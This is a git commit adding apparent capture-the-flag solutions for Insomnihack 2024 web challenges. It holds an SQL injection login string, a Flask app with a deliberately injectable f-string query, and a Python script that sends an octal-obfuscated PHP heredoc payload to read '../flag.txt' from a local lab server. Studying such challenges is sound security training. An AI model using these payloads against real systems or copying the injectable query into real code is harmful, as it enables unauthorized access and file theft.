changed repo structure
This commit is contained in:
1
2024/insomnihack/web/.gitignore
vendored
Normal file
1
2024/insomnihack/web/.gitignore
vendored
Normal file
@@ -0,0 +1 @@
|
||||
.venv
|
||||
2
2024/insomnihack/web/LetMeIn/input.txt
Normal file
2
2024/insomnihack/web/LetMeIn/input.txt
Normal file
@@ -0,0 +1,2 @@
|
||||
user: admin
|
||||
password: admin'OR 1=1 --admin
|
||||
34
2024/insomnihack/web/app.py
Normal file
34
2024/insomnihack/web/app.py
Normal file
@@ -0,0 +1,34 @@
|
||||
from flask import Flask, render_template, request
|
||||
from flask_sqlalchemy import SQLAlchemy
|
||||
from const import FLAG, CRENDENTIALS
|
||||
|
||||
app = Flask(__name__)
|
||||
app.config['SQLALCHEMY_DATABASE_URI'] = f'postgresql://{CRENDENTIALS}@db:5432/application'
|
||||
db = SQLAlchemy(app)
|
||||
|
||||
@app.route('/')
|
||||
def index():
|
||||
return render_template('index.html')
|
||||
|
||||
@app.route('/login', methods=['GET','POST'])
|
||||
def login():
|
||||
if request.method == 'GET':
|
||||
return render_template('index.html')
|
||||
|
||||
username = request.form['username']
|
||||
password = request.form['password']
|
||||
|
||||
if username != 'admin' or password[:5] != 'admin' or password[-5:] != 'admin':
|
||||
return 'Login failed. Please check your username and password.'
|
||||
|
||||
|
||||
query = f"SELECT * FROM users WHERE username='{username}' AND password='{password}'"
|
||||
user = db.session.execute(db.text(query)).fetchone()
|
||||
|
||||
if user:
|
||||
return 'Hello admin ' + FLAG
|
||||
else:
|
||||
return 'Login failed. Please check your username and password.'
|
||||
|
||||
if __name__ == '__main__':
|
||||
app.run(debug=False, host='0.0.0.0')
|
||||
7
2024/insomnihack/web/mathematical/.gitignore
vendored
Normal file
7
2024/insomnihack/web/mathematical/.gitignore
vendored
Normal file
@@ -0,0 +1,7 @@
|
||||
php/
|
||||
www/
|
||||
docker-compose.yml
|
||||
.venv/
|
||||
flag.txt
|
||||
Dockerfile
|
||||
|
||||
3
2024/insomnihack/web/mathematical/deploy-docker.sh
Executable file
3
2024/insomnihack/web/mathematical/deploy-docker.sh
Executable file
@@ -0,0 +1,3 @@
|
||||
docker-compose rm
|
||||
docker-compose up -d
|
||||
docker rmi php_web -f
|
||||
20
2024/insomnihack/web/mathematical/exploit.py
Normal file
20
2024/insomnihack/web/mathematical/exploit.py
Normal file
@@ -0,0 +1,20 @@
|
||||
#! /usr/bin/env python3
|
||||
|
||||
import requests
|
||||
|
||||
s = requests.Session()
|
||||
|
||||
payload = """(<<<abs
|
||||
\\162\\145\\141\\144\\146\\151\\154\\145
|
||||
abs)(<<<abs
|
||||
\\56\\56\\57\\146\\154\\141\\147\\56\\164\\170\\164
|
||||
abs)"""
|
||||
|
||||
res = s.post(
|
||||
"http://localhost/math.php",
|
||||
data={"expression": payload},
|
||||
headers={"Content-Type": "application/x-www-form-urlencoded"},
|
||||
)
|
||||
|
||||
|
||||
print(res.text)
|
||||
Reference in New Issue
Block a user